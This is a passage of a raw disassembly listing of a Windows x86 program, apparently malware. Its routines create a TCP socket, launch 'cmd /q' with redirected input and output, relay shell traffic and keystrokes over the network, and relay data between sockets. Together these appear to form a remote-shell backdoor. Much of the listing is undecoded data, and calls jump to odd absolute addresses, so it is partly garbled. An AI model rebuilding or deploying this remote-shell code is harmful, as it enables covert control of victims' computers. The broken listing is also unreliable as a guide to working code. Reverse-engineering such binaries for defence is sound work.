		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2700000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2650B82h
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43DEB8[eax], ecx
		nop
		call	near ptr 26508ACh
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------


loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		call	near ptr 2670859h
		nop
		push	eax
		push	offset unk_434474
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C


loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032


loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------


loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_4344B4
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAF8C
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------


loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		nop
		call	near ptr 2770514h
		jmp	short loc_41117C
; ---------------------------------------------------------------------------


loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx


loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_4111C8


loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h
		dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch
		dd 121850Fh, 0A6A0000h,	9C15FF57h, 85004CAFh, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 0B8BC68FFh, 0E8500042h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456068FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 43DEB4h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h,	25ECD7E8h
		dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h
		dd 0FD87539h, 0FFFF6385h, 90056AFFh, 24FBD6E8h,	90EDEB02h
		dd 25F504E8h, 858D5002h, 0FFFFFD2Ch, 43452468h,	1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh,	75FF004Ch
		dd 2C858DC0h, 68FFFFFDh, 4344F0h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 31E89056h, 5F022BECh, 8B555B5Eh, 0D4EC81ECh,	8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	0BCB68D5Fh, 890043DEh
		dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh
		dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h,	0FFFA2CBDh
		dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h,	0FF004CB0h
		dd 0C7E80875h, 59FFFF9Fh, 0ADE89053h, 53022BEBh, 0FB30858Dh
		dd 868FFFFh, 50000004h,	15FF36FFh, 4CAF8Ch, 187FC085h
		dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 0E8905359h
		dd 22BEB7Ch, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h
		dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h
		dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h
		dd 38858D50h, 50FFFFFBh, 43462868h, 3D52E800h, 680000h
		dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh
		dd 5DFFFFFBh, 0A0A3E8h,	18C48300h, 0FB30858Dh, 6A53FFFFh
		dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch
		dd 9F00E808h, 5359FFFFh, 0EAE6E890h, 106A022Bh,	53E8458Dh
		dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h
		dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h
		dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh,	50004CAFh
		dd 4345E868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh,	0A00BE8h
		dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0AFC415FFh
		dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h,	5359FFFFh
		dd 0EA4EE890h, 458D022Bh, 50106AE8h, 1C15FF57h,	83004CAFh
		dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345A4h, 3C4BE8h
		dd 4006800h, 858D0000h,	0FFFFFB38h, 9D885053h, 0FFFFFB30h
		dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h
		dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h,	4CB00C15h
		dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2BE9DFE8h, 4006802h
		dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h
		dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh
		dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h
		dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h
		dd 5359FFFFh, 2BE983E8h, 36FF9002h, 0B00C15FFh,	75FF004Ch
		dd 9D84E808h, 5359FFFFh, 0E96AE890h
; ---------------------------------------------------------------------------
		sub	eax, [edx]
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4


loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CAE60
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791


loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAE60
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC


loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 0F739E800h
		dd 39900224h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 2BE7CBE8h, 458D9002h
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 5415FF56h, 8D004CAFh
		dd 46AEC45h, 57FB6A50h,	5415FF56h, 8B004CAFh, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh
		dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h,	0AFA015FFh
		dd 0F883004Ch, 681975FFh, 1388h, 24F672E8h, 8DFF9002h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 90000001h, 24F63EE8h, 858D5302h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Bh, 0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh
		dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 0AF4C15FFh, 75FF004Ch
		dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 434694h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 7468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 6868096Ah, 56004346h, 0AFD815FFh
		dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4CB00C15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022BE4h
		dd 3E8h, 0F31DE890h, 0E8570224h, 0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 2770661h
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		nop
		call	near ptr 2660A28h
		lea	eax, [ebp-114h]
		push	offset asc_434E54 ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------


loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_434E24
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h


loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax


loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 0BB004Ch, 6A000002h,	0F1CDE808h, 0FF900224h,	4CAEF815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 434E84h, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 46BC0845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h
		dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h
		dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h
		dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h,	0FFFFFD24h
		dd 4E6C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
		dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh
		dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh
		dd 434E5868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
		dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh,	0FC8B5925h
		dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
		dd 9632E850h, 0C4810000h, 0A4h,	0FB24858Dh, 6A53FFFFh
		dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
		dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
		dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
		dd 7D811408h, 434DEC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
		dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h
		dd 2BE02BE8h
		db 2
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h,	4589026Ah
		dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh
		dd 50004CAFh, 0FD4C858Dh, 0F468FFFFh, 50004357h, 9821E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
		dd 565959FFh, 0DF56E890h, 458B022Bh, 69106AD0h,	234C0h
		dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch
		dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357C868h
		dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
